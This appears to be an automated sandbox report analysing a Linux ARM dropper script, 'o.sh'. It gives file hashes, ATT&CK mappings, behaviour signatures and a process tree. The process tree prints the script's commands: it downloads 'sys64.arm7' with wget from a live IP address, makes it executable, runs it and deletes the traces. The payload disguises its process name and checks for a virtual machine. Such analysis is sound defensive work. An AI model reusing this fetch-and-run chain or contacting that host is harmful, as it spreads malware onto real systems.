37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc

Analysis

max time kernel
144s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/08/2026, 00:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
o.sh
Size 4KB
Sample260812-am97fahe82
SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
MD5 a55e33eb6ab489431ae95ec26b64f3f8
SHA1 9884b7f0b573e2e8a0d84bd89ab50dd71feb35bd
SHA512 ec9cf25f2a3b5276be45d7dfe272bc3488fb8453dd64eb0a05f8b5e8ef7d8203d79d6f5b1f071c86135acf9949950447c740642c845446389122483097272f5e
SSDEEP 96:BNFbsjjmb3xyrdc+ZNzp3oOUZ5dq8f/R4RZ0SrPWUXVuqPwat:kcnIukWUr
TLSH
T102B1F38A13921C703DE299673265878C3187B0F756ED6F20F9CCF9A64BACE14E421367
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
672	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/sys64.arm7	674	o.sh

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	223.5.5.5

Reads network interface configuration 2 TTPs 3 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/speed	sys64.arm7
File opened for reading	/sys/class/net/eth0/operstate	sys64.arm7
File opened for reading	/sys/class/net/eth0/type	sys64.arm7

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	675	sys64.arm7
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	675	sys64.arm7

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	sys64.arm7

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	sys64.arm7

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/22	sys64.arm7
File opened for reading	/proc/23	sys64.arm7
File opened for reading	/proc/27	sys64.arm7
File opened for reading	/proc/3/comm	sys64.arm7
File opened for reading	/proc/mounts	sys64.arm7
File opened for reading	/proc/meminfo	sys64.arm7
File opened for reading	/proc/24	sys64.arm7
File opened for reading	/proc/25	sys64.arm7
File opened for reading	/proc/26	sys64.arm7
File opened for reading	/proc/28	sys64.arm7
File opened for reading	/proc/29	sys64.arm7
File opened for reading	/proc/30	sys64.arm7
File opened for reading	/proc/20	sys64.arm7
File opened for reading	/proc/21	sys64.arm7

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sys64.arm7	wget

/tmp/o.sh
/tmp/o.sh
1⤵
- Executes dropped EXE
PID:644
- /bin/uname
  uname -s
  2⤵
  PID:645
- /bin/uname
  uname -m
  2⤵
  PID:648
- /bin/rm
  rm -rf sys64.arm7
  2⤵
  PID:651
- /usr/bin/wget
  wget http://62.84.172.106/sys64.arm7
  2⤵
  - Writes file to tmp directory
  PID:654
- /bin/chmod
  chmod 777 sys64.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/sys64.arm7
  ./sys64.arm7 .arm7
  2⤵
  - Reads network interface configuration
  - Changes its process name
  - Checks CPU configuration
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:674
- /bin/rm
  rm -rf sys64.arm7
  2⤵
  PID:676
- /bin/rm
  rm -f /tmp/o.sh
  2⤵
  PID:678

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys64.arm7

Path /tmp/sys64.arm7
Size 666KB
SHA256 84fc61c65cb8f559575883fcab6431e82745bc8e7551a540fa6f3134a56efc77
MD5 e507b41a363c6f9fecbfda6b272031bb
SHA1 168162f040b8648e5cdf77c7243846179273ec7a
SHA512 daf867e46e99d0acebc3d766f3ecced650e6baf947291cc0e7c38cdfbd16ef8b6d212f907deb9ca8da09b9cb4abf16351e7ff7f9abf3e675f3f444fa435f5c53
SSDEEP 12288:mMTJMMw9rcArInr/SgcCAwPmlyzAaS3DsZXzPvzar/S2QJx8CeVThlrKM:hcUr/HO6AaAQZnzau
TLSH
T194E44A26FC819B91D5C15BBFFF5E925933132B78E2EE7103DD141B2427DA89A0E3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads